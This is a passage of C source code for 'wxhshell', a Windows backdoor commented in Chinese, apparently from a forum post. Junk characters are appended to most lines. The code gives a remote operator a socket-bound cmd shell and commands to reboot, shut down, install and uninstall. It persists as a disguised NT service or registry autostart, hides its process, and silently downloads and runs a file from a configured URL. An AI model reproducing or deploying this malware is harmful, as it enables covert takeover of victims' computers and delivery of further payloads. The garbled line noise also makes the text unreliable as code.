  // 帮助 k,EI+lCX  
  case '?': { ?;{fqeJz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p*11aaIbp~  
    break; :ZP4(}  
  } [x {S ,?6  
  // 安装 CaX0Jlk*  
  case 'i': {  u/ Os  
    if(Install()) ~c e?xr|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [C GFzxz$  
    else .U8Se+;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zeqP:goy  
    break; IrJPP2Q  
    } pUvbIbg+  
  // 卸载 Qg)=4(<Hr  
  case 'r': { (nhv#&Fd+  
    if(Uninstall()) br!:g]Vh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL,3Jh% x  
    else DzZ)a E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tEz6B}  
    break; P;&rh U^[  
    } <Tq&Va_w  
  // 显示 wxhshell 所在路径 0nkon3H  
  case 'p': { -rU~  
    char svExeFile[MAX_PATH]; N=qe*Rlf  
    strcpy(svExeFile,"\n\r"); vYh_<Rp5  
      strcat(svExeFile,ExeFile); NF& ++Vr6  
        send(wsh,svExeFile,strlen(svExeFile),0); dcFqK~  
    break; V}1D1.@  
    } =F!DwaZ  
  // 重启 u3!aKXnv<  
  case 'b': { ^y.e Fz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S.;>:Dd[K  
    if(Boot(REBOOT)) 9m2_zfO[ w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\-Q(9q(  
    else { IAr  
    closesocket(wsh); HaP0;9q  
    ExitThread(0); eqt+EiH   
    } e*O-LI2O  
    break; 3Lxk7D>0c  
    } \]y4e^FZZ  
  // 关机 uV]4C^k;`[  
  case 'd': { ,hj5.;M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >U~B"'!xV  
    if(Boot(SHUTDOWN)) _":yUa0D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'qTMY*  
    else { j1!P:(  
    closesocket(wsh); b8V]/  
    ExitThread(0); 2.I'`A  
    } \V@Hf"=j  
    break; ` [ EzU+  
    } njk.$]M|nf  
  // 获取shell zE{@'  
  case 's': { ;T0Y= yC  
    CmdShell(wsh); c#q OK  
    closesocket(wsh); |aiP7C  
    ExitThread(0); %IS'R`;3  
    break; ALw5M'6q0\  
  } yVThbL_YJ  
  // 退出 7w7mE  
  case 'x': { gf!hO$sQ3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uN`{; Av  
    CloseIt(wsh); `{g8A P3  
    break; ^}XKhn.S'  
    } ?Gq'r2V  
  // 离开 CIt>D'/YT  
  case 'q': { Rd5ni2-nve  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %0]vW;Q5  
    closesocket(wsh); W)"PYC4  
    WSACleanup(); d*26;5~\  
    exit(1); !GkwbHr+p  
    break; im&E \`L7  
        } S~1>q+<Q  
  } k^q}F%UV  
  } bl|k6{A  
z/*nY?  
  // 提示信息 Si<9O h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^7`"wj14  
} 0_Hdj K  
  } 2e}${NZN  
9I>+Q&   
  return; Q]_3 #_'  
} zr9o  
,s'78Dc$  
// shell模块句柄 KWU ~QAc  
int CmdShell(SOCKET sock) &Z682b$  
{ <uP>  
STARTUPINFO si; 8y}9X v  
ZeroMemory(&si,sizeof(si)); DXlP (={*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E3gR%t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !1f8~"Z  
PROCESS_INFORMATION ProcessInfo; hWK}] gF  
char cmdline[]="cmd"; cq'opjLf5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0N3 cC4!  
  return 0; SWr?>dl  
} DpIv <m]  
OL]^4m  
// 自身启动模式 \F%5TRoC  
int StartFromService(void) iw<#V&([ J  
{ @ViJJ\  
typedef struct \oF79   
{  ^o+}3=  
  DWORD ExitStatus; @R= gJ:&a  
  DWORD PebBaseAddress; hd~X c  
  DWORD AffinityMask; v\*43RL  
  DWORD BasePriority; jsS xjf;O  
  ULONG UniqueProcessId; qr%9S dvx  
  ULONG InheritedFromUniqueProcessId; "J]_B  
}   PROCESS_BASIC_INFORMATION; nAn/Vu  
@Md%gEh;&  
PROCNTQSIP NtQueryInformationProcess; H{'<v|I  
:.['e`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^Ye i9bXl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "}UJ~ j).  
#Ag-?k  
  HANDLE             hProcess; ko2Kz k  
  PROCESS_BASIC_INFORMATION pbi; Ghgx8 ]e  
I]P'wav~O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E6n3[Z  
  if(NULL == hInst ) return 0; <Vyv)#32o3  
>{i/LC^S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xwa5dtcng  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )/H=m7}1h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mLU4RQ}5  
@cPb*  
  if (!NtQueryInformationProcess) return 0; f3e#.jan  
((A]FOIbO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U@+ @Mc  
  if(!hProcess) return 0; uR{HCZ-  
u2 a U0k:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FR9<$  
X l#P@60  
  CloseHandle(hProcess); TEl :;4  
>TUs~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c 6sGjZdR  
if(hProcess==NULL) return 0; zyTP|SXk  
>*H>'O4  
HMODULE hMod; 2't<Hl1qN  
char procName[255]; cZKK\hf<  
unsigned long cbNeeded; !=@Lyt)_b  
-x2/y:q`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  5k.NZ  
eRQ}`DjTk  
  CloseHandle(hProcess); FX7=81**4  
z]ZhvH7-  
if(strstr(procName,"services")) return 1; // 以服务启动 vlth\ [  
x\r7q  
  return 0; // 注册表启动 2?ac\c6"  
} ]Mi ~vG q  
?P[uf  
// 主模块 Z^,C><Yt  
int StartWxhshell(LPSTR lpCmdLine) 9ctvy?53H  
{ i rMZLc6  
  SOCKET wsl; w#eD5y~'oo  
BOOL val=TRUE; Y 3r m')c  
  int port=0; IlsXj`!e  
  struct sockaddr_in door; O{a<f7 W  
pfgFHNH:  
  if(wscfg.ws_autoins) Install(); n'=-bj`  
(&0%![j&  
port=atoi(lpCmdLine); A_1cM#4  
d_=@1 JM>  
if(port<=0) port=wscfg.ws_port; ?-0k3  
%)T>Wn%b]v  
  WSADATA data; ')t :!#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $.kP7!`:,  
^D\1F$AjC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xc[@lr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YLVV9(  
  door.sin_family = AF_INET; 9tsI1]1[m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fv_}7t7  
  door.sin_port = htons(port); {]<l|qK  
zu'Uau  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ql a'vcT  
closesocket(wsl); j*>+^g\Q6  
return 1; Kdk0#+xtP  
} PHl{pE*  
G$pTTT6#  
  if(listen(wsl,2) == INVALID_SOCKET) { $,q~q^0  
closesocket(wsl); Htn=h~U`z  
return 1; \UM9cAX`  
} *JE%bQ2Q  
  Wxhshell(wsl); Twyx(~'&R  
  WSACleanup(); R/r)l<X@  
5=tvB,Ux4  
return 0; 3TqC.S5+  
F,Q\_H##x4  
} Vrn. #d  
qPZ'n=+  
// 以NT服务方式启动 W)3?T& `  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [2#5;')  
{ )z-)S  
DWORD   status = 0; zvV<0 Z  
  DWORD   specificError = 0xfffffff; CI"7* z_  
"OF4#a17  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !s pp*Q)#\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ig75bZz   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; occ^bq  
  serviceStatus.dwWin32ExitCode     = 0; T%~w~stW  
  serviceStatus.dwServiceSpecificExitCode = 0; 01N "  
  serviceStatus.dwCheckPoint       = 0; w naP?|/  
  serviceStatus.dwWaitHint       = 0; {'VP_ZS1v  
r(xh5{^x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O6Bs!0,  
  if (hServiceStatusHandle==0) return; )o)<5Iqh  
}&D~P>1  
status = GetLastError(); h\\fb[``  
  if (status!=NO_ERROR) qd#?8  
{ qp_lMz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .gTla  
    serviceStatus.dwCheckPoint       = 0; WZO8|hY  
    serviceStatus.dwWaitHint       = 0; uc!j`G*]  
    serviceStatus.dwWin32ExitCode     = status; S9R(;  
    serviceStatus.dwServiceSpecificExitCode = specificError; fe PH=C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .?R~!K{`  
    return; iSu7K&X9q  
  } $Llv6<B  
W1'F)5(?7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,?k[<C  
  serviceStatus.dwCheckPoint       = 0; 7S$Am84%  
  serviceStatus.dwWaitHint       = 0; eqbQ,, &  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0+MNu8t  
} twElLOE  
-V0_%Smc  
// 处理NT服务事件,比如:启动、停止 eJA$J=^R;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MyB&mC7Es  
{ u(l[~r>8W;  
switch(fdwControl) rx2?y3pv  
{ %@ UH,Ew  
case SERVICE_CONTROL_STOP: ITJ{]7N  
  serviceStatus.dwWin32ExitCode = 0; BrF/-F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nMXk1`|/)x  
  serviceStatus.dwCheckPoint   = 0; A>WMPe:sSS  
  serviceStatus.dwWaitHint     = 0; it]im  
  { }5c%v1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!g}PbC[  
  } r09gB#K4  
  return; 873$EiyXR  
case SERVICE_CONTROL_PAUSE: zQ3m@x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +GCN63 nX  
  break; {hQ0=rv<  
case SERVICE_CONTROL_CONTINUE: S :)Aj6>6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]D?//  
  break; ta"uxL\gge  
case SERVICE_CONTROL_INTERROGATE: G165grGFd  
  break; ~hK7(K  
}; F. 5'5%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z(DCR/U=(>  
} d: D`rpcC  
o V"d%ks  
// 标准应用程序主函数 xxjg)rVuy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xCN6?  
{ '%Og9Bgd+  
MMlryn||1  
// 获取操作系统版本 kQ~2mU  
OsIsNt=GetOsVer(); {!!df.h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E;!pK9wL|  
$A~UA  
  // 从命令行安装 zVN/|[KP4  
  if(strpbrk(lpCmdLine,"iI")) Install(); GL;@heP  
3ARvSz@5  
  // 下载执行文件 Gk_%WY*  
if(wscfg.ws_downexe) { Z] ?Tx2|7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N(i%Oxp1  
  WinExec(wscfg.ws_filenam,SW_HIDE); .Zo%6[X  
} \:]  
 x{K^u"  
if(!OsIsNt) { hojP3 [  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]xGo[:k|E  
HideProc(); 5ncjv@Aa  
StartWxhshell(lpCmdLine); *+(t2!yFmE  
} ?88k`T'EI  
else +;z^qn  
  if(StartFromService()) W P7RX|7  
  // 以服务方式启动 eu=G[>  
  StartServiceCtrlDispatcher(DispatchTable); :"m~tU3&  
else ( w4w  
  // 普通方式启动 y8} fj=  
  StartWxhshell(lpCmdLine); WgHl. :R  
m$N` Xj  
return 0; wq yw#)S  
}
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只看该作者 1 发表于: 2006-10-10
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